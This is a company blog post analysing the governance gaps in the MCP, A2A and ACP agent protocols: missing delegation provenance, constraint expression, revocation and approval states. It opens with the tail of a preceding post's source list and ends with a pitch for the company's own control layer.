Insights](https://www.ledgerinsights.com/stripe-paradigm-launch-tempo-blockchain-alongside-machine-payments-standard/) - [Visa Introduces Trusted Agent Protocol — Visa](https://investor.visa.com/news/news-details/2025/Visa-Introduces-Trusted-Agent-Protocol-An-Ecosystem-Led-Framework-for-AI-Commerce/default.aspx) - [visa/trusted-agent-protocol — GitHub](https://github.com/visa/trusted-agent-protocol) - [Mastercard unveils Agent Pay (Agentic Tokens, tokenization) — Mastercard, 2025-04-29](https://www.mastercard.com/us/en/news-and-trends/press/2025/april/mastercard-unveils-agent-pay-pioneering-agentic-payments-technology-to-power-commerce-in-the-age-of-ai.html) - [Mastercard launches Agent Pay for Machines — Mastercard, June 2026](https://www.mastercard.com/us/en/news-and-trends/press/2026/june/mastercard-launches-agent-pay-for-machines.html) - [Regulation E §1005.2 definitions ("unauthorized electronic fund transfer," furnished-access-device exclusion) — CFPB](https://www.consumerfinance.gov/rules-policy/regulations/1005/2/) - [Under the Hood: Universal Commerce Protocol (UCP) — Google Developers Blog](https://developers.googleblog.com/under-the-hood-universal-commerce-protocol-ucp/) - [Fooling AI Agents: Web-Based Indirect Prompt Injection Observed in the Wild — Unit 42, 2026-03-03](https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/) - [Security Challenges in AI Agent Deployment: Insights from a Large-Scale Public Competition (arXiv:2507.20526)](https://arxiv.org/abs/2507.20526) ================================================================================ ## The Agent Protocol Stack in 2026: What MCP, A2A, and ACP Each Solve URL: https://www.agenticfabriq.com/blog/agent-protocol-stack-2026 Published: 2026-09-25 Author: Paulina Xu Summary: MCP, A2A, and ACP layer more cleanly than the discourse suggests. The interesting problem is what none of them can express: delegated authority, constraint, revocation, or approval. ```tldr **MCP, A2A, and ACP sit at different layers, and none of them can say who authorized an action or how to take that authority back.** A gap analysis that scores five agent protocols against a six-dimension governance taxonomy puts every one of them at 2 out of 12 or worse, with voting, dissent preservation, and human escalation absent from all five. The adoption numbers people cite to settle this argument measure something else entirely. Hundreds of millions of monthly MCP downloads and 150-plus organizations behind A2A say people are installing these protocols, not that the protocols can express delegation, constraint, or revocation. This isn't a claim that MCP or A2A are broken, or that they should have shipped a governance layer of their own. It's a scoping decision the maintainers made on purpose, which is why the gap doesn't close on its own. Practically: MCP is settled enough to just build on. A2A earns its cost once agents cross an organizational boundary, not before. We'd treat ACP, AP2, and x402, still Beta, still a testnet registry, still disputed adoption figures, as worth watching rather than building against, unless an agent already needs to move money. ``` ## Overview {#overview} The agent protocol conversation still gets framed as a competition: MCP versus A2A, open standards versus vendor lock-in, pick a winner. That framing has been wrong for about eighteen months. The three protocols that matter sit at genuinely different layers, and they compose more cleanly than the discourse suggests. The reason isn't obscure once you look at what each protocol actually transports. *This agent is acting for that human, under these constraints, and this authority can be withdrawn* is a sentence none of them has a wire format for. They can carry a governance decision as an opaque payload; none can interpret it, validate it, or enforce it. A systematic gap analysis in the literature now says so with numbers, which is the closest thing this argument has to independent confirmation. Two existing posts here cover adjacent ground and should not be confused with this one. [Multiagent Patterns](/blog/multiagent-patterns) and [From Centralized AI to Decentralized Agentic Ecosystems](/blog/centralized-to-decentralized-agents) are about architecture: how to arrange agents so the system works. This post is about the **wire protocols and their governance semantics**: what the specifications actually require, what they explicitly decline to specify, and where authorization context is destroyed as a request crosses from one protocol to another. > **The map, in one line:** MCP is agent-to-tool, A2A is agent-to-agent, ACP and its neighbours are agent-to-money. All three are transport and discovery layers. None of them is a governance layer, and none of them claims to be. ## Three Layers {#layers} The layering is cleaner than it looks from the outside, because each protocol answers a different question. **MCP answers "what can this agent reach, and how."** It is a client-server protocol between a host application and a tool provider. Its primitives are tools, resources, and prompts. The `2026-07-28` revision made it a stateless HTTP protocol: no handshake, no session id, every request self-describing, any request routable to any server instance. Governance moved to a Linux Foundation directed fund, the Agentic AI Foundation (co-founded by Anthropic, Block, and OpenAI in December 2025), with maintainers retaining technical autonomy. The specification is now genuinely mature: the release announcement cites close to 500 million monthly downloads across Tier 1 SDKs, with the TypeScript and Python SDKs each past a billion cumulative. **A2A answers "how do two agents that do not share a codebase collaborate."** It reached v1.0.0 under Linux Foundation stewardship on 2026-03-12, with v1.0.1 following on 2026-05-28, and the project reported more than 150 supporting organisations at its one-year mark in April 2026, up from roughly 50 a year earlier, with AWS, Cisco, Google, IBM, Microsoft, Salesforce, SAP, and ServiceNow named and five production SDKs. Its primitives are the Agent Card, the task, and the message. Its design principle is deliberate opacity: agents collaborate "without needing to share their internal thoughts, plans, or tool implementations." That principle is the source of both its usefulness and its governance problem. **ACP and its neighbours answer "how does value move when an agent transacts."** The Agentic Commerce Protocol, maintained by OpenAI and Stripe and still marked Beta, defines an agentic checkout, a product feed, delegated authentication over OAuth 2.0, and a delegated payment primitive, the Delegate Payment API, which mints a narrowly scoped token the agent hands to the merchant for the merchant to charge through any compatible processor. Its versions are date-stamped; the 2026-04-17 release added cart, feed, orders, authentication, and MCP integration. Alongside it sit AP2 (Google, 60+ launch partners in September 2025; its mandates, now a Checkout Mandate and a Payment Mandate rather than the launch vocabulary of Intent and Cart, are signed and carried as verifiable digital credentials), x402 (originated at Coinbase, now an x402 Foundation project under the Linux Foundation; HTTP 402 stablecoin settlement, with Coinbase's own reporting claiming roughly 165 million agent transactions and independent measurement disputing most of it), and on-chain identity work in ERC-8004, whose January 2026 spec update put the reference registries on Ethereum Sepolia testnet. The ERC itself is still Draft. Not all three deserve the same attention this year. MCP is the one to just build on: it's stable, it has the most rigorous authorization model of the three, and an agent with no tools isn't much of an agent, so skipping it was never really an option. A2A earns its cost once agents live in different organizations and need to collaborate without sharing a codebase; inside a single org it is usually solving a problem an internal API already solved. We'd put ACP, AP2, and x402 in a different bucket: Beta status, a registry that lives on a testnet, and adoption figures that independent measurement doesn't support. They also answer a question, how value moves when an agent rather than a person initiates the transaction, that most teams building agents this year haven't been asked yet. Track that layer. Building against it early buys you very little. ```mermaid flowchart TD U[Human principal] --> H[Host application / agent runtime] H -->|A2A: Agent Card, task, message| P[Peer agent, other org] H -->|MCP: tools, resources, prompts| T[Tool server] P -->|MCP| T2[Tool server, other org] H -->|ACP / AP2 / x402| M[Merchant, payment rail] subgraph Missing["Not specified by any of them"] G1[Delegated authority provenance] G2[Constraint expression] G3[Revocation semantics] G4[Approval as a protocol state] G5[Shared audit format] end H -.-> Missing ``` peer agent (other org) -- MCP --> tool server |-- MCP --> tool server |-- ACP / AP2 / x402 --> merchant / payment rail '-- (dotted) NOT SPECIFIED ANYWHERE: delegated authority provenance, constraint expression, revocation semantics, approval as a protocol state, shared audit format --> **Figure 1 — The layered stack. Everything above the dotted line is standardised. Everything below it is left to each implementation.** ## What Each Actually Specifies {#what-each-specifies} The specifications are more precise about their own boundaries than the marketing is, and reading them side by side is clarifying. | | **MCP** | **A2A** | **ACP** | | --- | --- | --- | --- | | **Layer** | Agent ↔ tool / context | Agent ↔ agent | Agent ↔ merchant / payment | | **Steward** | Agentic AI Foundation (Linux Foundation directed fund) | Linux Foundation | OpenAI + Stripe; foundation stewardship stated as a future goal | | **Bindings** | JSON-RPC 2.0 over Streamable HTTP (single POST endpoint) or stdio | JSON-RPC 2.0 over HTTP, gRPC, HTTP+JSON/REST | REST/HTTP, defined by OpenAPI and JSON Schema | | **Discovery** | `server/discover` RPC; official registry (preview) with reverse-DNS namespaces | Agent Card at `/.well-known/agent-card.json`, optionally signed | Product feed; merchant endpoints | | **Auth model** | Server is a formal OAuth 2.1 resource server: RFC 9728 metadata, RFC 8707 resource indicators, RFC 9207 issuer validation, mandatory audience validation, token passthrough forbidden | Declares `securitySchemes` (API key, HTTP basic/bearer, OAuth2, OIDC, mTLS) and defers to them; explicitly does **not** define authorization decisions | Delegated authentication over OAuth 2.0; delegated payment via a scoped token minted by the Delegate Payment API | | **Maturity** | Stable, dated revisions, formal deprecation policy with a 12-month minimum window | v1.0 stable, extension mechanism, 150+ organisations | Beta, date-stamped releases, Apache 2.0 | | **Cannot express** | Who the agent is acting for; whether an action needs approval; membership in any group | Whether the caller is authorised to delegate; what constraints attach to a delegated task; any audit correlation requirement | Whether the human actually authorised *this* purchase (AP2 mandates address this separately) | Three entries in that table deserve more than a row. **MCP's authorization model is the most rigorous of the three, and it is deliberately about one hop.** The server must validate that a token was issued for it specifically, and if it calls an upstream API it **MUST NOT** forward the token it received. That is correct security engineering. It prevents confused-deputy abuse and keeps audit trails honest on both sides. It also means that by design, the identity that reaches the second hop is the MCP server's, not the user's. MCP does not carry a delegation chain because MCP is not trying to. **A2A's non-specifications are stated outright.** It defines the interaction framework: operations, data model, bindings, an eight-state task lifecycle. Security, capability negotiation, and business logic are left to each agent. There is an `AUTH_REQUIRED` task state, but read carefully: that is a callee telling a caller "authenticate to proceed." It is not a mechanism for expressing that the caller holds delegated authority from a human, nor for the callee to verify such a claim. **ACP is the layer where delegated authority is closest to being real,** because payments forced the issue. A delegated payment token is narrowly scoped by construction. Stripe's Shared Payment Token is the first processor implementation of the primitive, and the scoping is the point of it. AP2 goes further than any other protocol in the stack: every agent operates under a mandate, a Checkout Mandate and a Payment Mandate, each with an open stage carrying the user's constraints and a closed stage bound to one finalised transaction. Both are signed and carried as verifiable digital credentials specifying spending limits, allowed instruments, and validity periods. That's delegated authority with provenance, constraints, and an expiry, and it exists because nobody was willing to let an agent spend money without it. We'd ask why the same bar doesn't apply to an agent deleting records. ## Composition and Overlap {#compose} Where these protocols genuinely compose, they compose well. An agent uses A2A to hand a task to a specialist agent at another organisation; that agent uses MCP to reach its own tools; if the task ends in a purchase, ACP negotiates the cart, AP2 proves the human authorised it, and x402 or a card rail settles. Nothing about that chain is contrived, and the ACP 2026-04-17 release explicitly added MCP integration, which is a maintainer acknowledging the same picture. The duplication is real too, and mostly harmless. **Task lifecycles exist twice.** A2A has had tasks with eight states since v1.0. MCP graduated Tasks into an official extension (`io.modelcontextprotocol/tasks`) in the 2026-07-28 revision, with five states and a poll-driven `tasks/get` / `tasks/update` / `tasks/cancel` loop. They are not interchangeable: A2A tasks are units of delegated work between peers, MCP tasks are long-running tool invocations. A system using both still maintains two task state machines and two sets of terminal-state semantics, and anyone building a unified operations view will feel it. **Discovery exists three times, with three trust models.** MCP has a registry that verifies namespace ownership and, by its own documentation, delegates code scanning to npm and PyPI. A2A has Agent Cards fetched from a well-known path, optionally signed, with no registry requirement at all. ERC-8004 puts identity, reputation, and validation registries on-chain. These answer different questions: "where is this server," "what can this agent do," "has this agent behaved." None of them answers "should this agent be allowed to participate here," which is the question an enterprise actually asks. **Extension mechanisms exist everywhere and are barely used for governance.** MCP formalised extensions with reverse-DNS identifiers, delegated maintainer repos, and independent versioning. A2A has declared extensions on the Agent Card, with a `required` flag and an `A2A-Extensions` request header, since before the protocol's v1.0.0 release. ACP added an extension mechanism in January 2026. The capacity is there. What has been built on it is UI rendering, long-running work, payment mandates, and enterprise SSO. Not governance. > **The pattern worth noticing:** every protocol in this stack has an extension mechanism capable of carrying governance primitives, and every protocol has instead spent its extension budget on capability. Nobody is blocked. The work is not being done. ## What None of Them Can Express {#gaps} The most rigorous treatment of this is a preprint posted on 2026-06-30 by Richard Kang and Yudho Diponegoro, *Governance Gaps in Agent Interoperability Protocols: What MCP, A2A, and ACP Cannot Express* (arXiv:2606.31498). It has no venue yet, so read it as an argument rather than a settled result. It is a systematic gap analysis rather than commentary, though, and worth engaging with on its own terms. The authors derive a six-dimension governance taxonomy from organisational theory, multi-agent systems literature, and enterprise governance standards: **membership** (who is admitted), **deliberation** (structured exchange of reasoning), **voting** (preference aggregation), **dissent preservation** (recording disagreement), **human escalation** (routing a decision to a person with authority), and **audit/replay**. They then read five specifications against it, classifying each capability as Supported, Partial, or Absent, and score coverage out of twelve. | Protocol (version analysed) | Membership | Deliberation | Voting | Dissent | Human escalation | Audit/replay | Coverage | | --- | --- | --- | --- | --- | --- | --- | --- | | MCP v1.1 | Absent | Absent | Absent | Absent | Absent | Partial | 1/12 | | A2A v1.0.1 | Partial | Absent | Absent | Absent | Absent | Absent | 1/12 | | ACP | Partial | Partial | Absent | Absent | Absent | Absent | 2/12 | | ANP | Absent | Absent | Absent | Absent | Absent | Absent | 0/12 | | ERC-8004 | Partial | Absent | Absent | Absent | Absent | Partial | 2/12 | Voting, dissent preservation, and human escalation are **absent from all five**. Nothing scores above 2 out of 12. The paper's conclusion is the part that matters. Governance messages travel fine and land meaningless: current protocols "can transport these messages as opaque payloads (e.g., via A2A task messages or MCP tool calls), but cannot interpret, validate, or enforce their governance semantics," and agent community governance therefore "constitutes a missing architectural layer above current interoperability standards, not a missing feature within them." The paper's most damning individual finding is not about a specification at all. A2A's extension framework explicitly supports governance primitives, and in more than six months of availability, **zero governance extensions have been proposed.** The mechanism is not the constraint. Attention is. Two things should be said in the specifications' defence, and one against. In their defence: the paper analysed MCP v1.1 (schema `2025-11-25`, protocol `2025-06-18`), which predates the current revision. And its taxonomy comes from organisational governance, which asks about deliberation and voting among peer agents. Most enterprises are not running agent parliaments, so absent voting is not obviously a defect for a protocol connecting an agent to an ERP. Against: re-reading the 2026-07-28 revision against the same taxonomy barely moves the needle, and it moves it in exactly one place. The new revision reserves three `_meta` keys (`traceparent`, `tracestate`, `baggage`) and pins their values to the W3C Trace Context and Baggage formats when they are present. Propagation is opt-in rather than required, which makes this a modest strengthening of the audit dimension, and it's enough to justify keeping MCP's Partial rating rather than upgrading it. Nothing was added for membership, deliberation, voting, dissent, or governance-scoped escalation. MCP's own 2026 roadmap says the quiet part plainly: it expects "most of the enterprise readiness work," which it defines as "audit trails, SSO-integrated auth, gateway behavior, and configuration portability," "to land as extensions rather than core spec changes." That's a defensible scoping decision for a protocol. It's also a decision that the enterprise governance layer is somebody else's problem. The four gaps that matter most in practice are narrower than the paper's six, and each traces to a specific specification choice: - **No delegated authority provenance.** MCP forbids token passthrough, so the identity at hop two is the server's. A2A defers authorization entirely and has no field asserting "I hold authority delegated from user X." RFC 8693 has modelled exactly this since 2020: an exchanged token carrying the user as `sub`, the acting party as a nested `act` claim, and `may_act` gating who may act for whom. No agent protocol requires it. - **No constraint expression.** Nothing in MCP or A2A lets a caller attach "read-only," "EU data only," or "under €5,000" to a request in a way the callee must honour. AP2's mandates are the exception, and they only cover payments. - **No revocation semantics.** None of the three defines a message that withdraws previously granted authority. Revocation happens out of band, at the identity provider, on a different timeline than the agents are operating on. - **No approval as a protocol state.** MCP has elicitation, delivered inline via multi-round-trip requests, and Tasks has an `input_required` status. A2A has `TASK_STATE_INPUT_REQUIRED`. All three express "I need input to continue." None expresses "this action must not proceed without approval from a principal holding authority Y." That's the difference between asking and requiring. ## Where Authority Dies Between Hops {#lost-context} The abstraction becomes concrete when you trace one action end to end. A treasury analyst asks an internal finance agent to settle a disputed supplier invoice. The finance agent delegates the reconciliation to a specialist agent operated by the company's outsourced accounting provider over A2A. That agent calls its own MCP server, which holds a connection to the shared ledger and writes an adjustment. ```mermaid sequenceDiagram participant U as Analyst (human) participant F as Finance agent (Org A) participant S as Recon agent (Org B) participant M as MCP server (Org B) participant L as Ledger U->>F: settle invoice INV-4471 Note over F: holds user identity + user scopes F->>S: A2A task (message, artifacts) Note over F,S: user identity NOT carried<br/>no constraint field, no approval requirement S->>M: tools/call write_adjustment Note over S,M: token audience = M<br/>principal = Org B service, not the analyst M->>L: write adjustment L-->>M: ok M-->>S: result S-->>F: task completed F-->>U: done Note over U,L: Ledger log shows Org B's service account.<br/>Nothing in the chain records that a named analyst asked. ``` Finance agent (Org A) [has user identity + scopes] --> A2A task --> Recon agent (Org B) X user identity not carried; no constraint; no approval requirement --> MCP tools/call --> MCP server (Org B) X token audience = server; principal = Org B service --> Ledger write Ledger log attributes the write to Org B's service account. No hop records that a named human asked for it. --> **Figure 2 — A single action across two protocols. Authorization context is lost at both boundaries, for different and individually defensible reasons.** Neither loss is a bug. A2A does not carry the user because it defines no authorization model to carry it in. MCP does not carry the user because forwarding the analyst's token to a third-party server would be exactly the token-passthrough anti-pattern the specification forbids. Both decisions are locally correct. The composition is what fails: by the time the write reaches the ledger, the only recorded principal is a service account belonging to a different company, and the ledger's audit trail cannot answer "who asked for this." The mechanism to fix it has existed for years, and the contrast is worth drawing precisely. ```mermaid flowchart LR subgraph Available["RFC 8693 token exchange — available since 2020"] A1["sub: analyst@orgA"] --> A2["act: finance-agent"] A2 --> A3["act: recon-agent@orgB"] A3 --> A4["may_act gates each step"] end subgraph Carried["What the wire actually carries today"] B1["A2A hop: no principal field"] --> B2["MCP hop: aud = server"] B2 --> B3["Ledger: service account"] end ``` **Figure 3 — The delegation chain that OAuth can already express, next to what the agent protocols carry.** > **The honest diagnosis:** this is not a hard cryptographic problem waiting on research. Nested actor claims, scoped delegation, and audience binding are solved and standardised. The agent protocols simply do not require them, so implementations do not carry them, so the audit trail ends at whichever service account happened to hold the credential. ## What to Build Instead of Waiting {#what-to-build} If governance is a missing layer rather than a missing feature, the practical consequence is that it has to be built above the protocols, and it will be non-standard for a while yet. **Carry the principal yourself, and make it a hop invariant.** Every cross-agent and cross-tool call should carry both the acting agent's identity and the originating human's identity, with a correlation identifier that survives every boundary. MCP's reserved Trace Context keys give you a standard place to put the correlation identifier on the tool hop, but propagating it is opt-in, so you still have to require it; A2A gives you not even the field, so put it in the message metadata and enforce it at your own gateway. The test is simple: pick any write in a system of record and see whether you can name the human within one query. **Enforce constraints at a chokepoint, because the protocol will not.** Since neither MCP nor A2A can express "read-only" or "under this threshold" as a wire-level obligation, the enforcement has to live somewhere both hops pass through. Default-deny at that point, with the effective permission set computed as the intersection of what the agent is allowed and what the user is allowed, is the only arrangement that fails safe when a delegated hop forgets to narrow anything. **Treat approval as your own protocol state.** Until a specification defines "requires approval by a principal holding authority Y," that state has to exist in your control plane, and the agent has to be unable to route around it. Elicitation and `input_required` are not substitutes, because both are the *callee* asking politely rather than the system requiring. This is the layer Agentic Fabriq operates at: two identities carried on every request, the agent's and the user's; default-deny role-based access from organisation to team to member; an effective tool list computed as the intersection of user and agent scopes; action-level permissions enforced in the backend rather than described in a tool definition; credentials held in a vault and injected into the outbound call; and an audit trail that records who asked as well as what ran. None of that is standardised, which is precisely the point: the protocols made a scoping decision, and something has to sit above them until they revisit it. ## Conclusion {#conclusion} The layering works, and we think that's the part worth saying plainly instead of relitigating. MCP is a mature, well-specified agent-to-tool protocol with the most rigorous authorization model of the three and a formal deprecation policy behind it: build on it now. A2A is a stable agent-to-agent protocol with real multi-vendor adoption and an extension mechanism that could carry almost anything: adopt it once agents actually need to cross an organizational boundary. ACP and its payment neighbours are the youngest and, in one specific respect, the most advanced: AP2's signed mandates are the only place in the entire stack where delegated authority is expressed with provenance, constraints, and an expiry. They're also solving a problem most teams don't have yet, which is reason enough to watch them rather than build against them before you do. What none of them expresses is the thing enterprises actually need: a durable statement of who authorised what, under which limits, and how that authority is withdrawn. The gap analysis puts every protocol at 2 out of 12 or worse against a six-dimension governance taxonomy, and finds voting, dissent preservation, and human escalation absent everywhere. The 2026-07-28 MCP revision improves audit propagation slightly and changes nothing else on that scorecard, and MCP's own roadmap places audit trails outside the core specification by design. The most useful correction to make is to stop reading protocol maturity as governance maturity. A stable, widely adopted, rigorously specified protocol can still be silent about authority, and MCP, A2A, and ACP are, individually and together, exactly that. > **Protocols standardise capability. They have not yet standardised restraint.** Until they do, delegated authority, constraint, revocation, and approval are yours to carry. The honest way to describe that work is as a layer the standards have not reached, not as a product category the standards made obsolete. ## Sources {#sources} - [Governance Gaps in Agent Interoperability Protocols: What MCP, A2A, and ACP Cannot Express — arXiv:2606.31498 (Kang & Diponegoro, June 2026)](https://arxiv.org/abs/2606.31498) - [The 2026-07-28 Specification — Model Context Protocol Blog](https://blog.modelcontextprotocol.io/posts/2026-07-28/) - [MCP Specification 2026-07-28 — Authorization](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization) - [MCP Specification 2026-07-28 — Authorization Security Considerations (token passthrough forbidden)](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations) - [The 2026 MCP Roadmap — Model Context Protocol Blog](https://blog.modelcontextprotocol.io/posts/2026-mcp-roadmap/) - [MCP joins the Agentic AI Foundation — Model Context Protocol Blog](https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/) - [The MCP Registry: Trust and Security](https://modelcontextprotocol.io/registry/about) - [A2A Protocol Specification](https://a2a-protocol.org/latest/specification/) - [A2A Protocol Surpasses 150 Organizations… — Linux Foundation press release, 9 April 2026](https://www.linuxfoundation.org/press/a2a-protocol-surpasses-150-organizations-lands-in-major-cloud-platforms-and-sees-enterprise-production-use-in-first-year) - [Agentic Commerce Protocol — specification repository (OpenAI + Stripe)](https://github.com/agentic-commerce-protocol/agentic-commerce-protocol) - [Agentic Commerce Protocol — Stripe documentation](https://docs.stripe.com/agentic-commerce/acp) - [Agent Payments Protocol (AP2) — Specification (Checkout Mandate, Payment Mandate, VDC formats)](https://ap2-protocol.org/ap2/specification/) - [ERC-8004: Trustless Agents (status: Draft)](https://eips.ethereum.org/EIPS/eip-8004) - [RFC 8693 — OAuth 2.0 Token Exchange (`act`, `may_act`)](https://datatracker.ietf.org/doc/html/rfc8693) - [A Survey of Agent Interoperability Protocols: MCP, ACP, A2A, and ANP — arXiv:2505.02279](https://arxiv.org/abs/2505.02279)